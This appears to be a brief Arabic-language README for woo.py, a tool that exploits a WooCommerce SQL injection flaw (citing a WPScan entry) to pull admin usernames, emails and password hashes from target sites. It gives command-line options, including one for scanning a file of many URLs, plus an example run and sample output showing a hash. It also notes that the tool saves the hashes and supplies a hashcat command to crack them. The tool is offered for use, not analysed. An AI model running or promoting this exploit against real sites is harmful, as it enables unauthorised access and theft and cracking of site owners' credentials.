
استغلال ثغرة SQLI في woocommerce والتقاط هاش اسم المستخدم وكلمة المرور
https://wpscan.com/vulnerability/1212fec8-1fde-41e5-af70-abdd7ffe5379
استغل ثغرة SQLI في Woocommerce واحصل على اسم المستخدم وتجزئة كلمة المرور
usage: woo.py [-h] [-u URL] [-f FILE] [-p PROXY] [-i WID]
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL URL to test
-f FILE, --file FILE File of urls
-p PROXY, --proxy PROXY
Proxy for debugging
-i WID, --wid WID User ID of User
python3 woo.py -u https://www.website.com -i 1
Admin ID: 2
Admin Username: [email protected]
Admin Email Address: [email protected]
Admin Password Hash:$P$BIAtNs11r0CBJZxa3B1JLrFd5C9f7r/
في كل مرة يتم تشغيله، يكتب التجزئات إلى wphash.has ويمنحك أمر hash cat لكسرها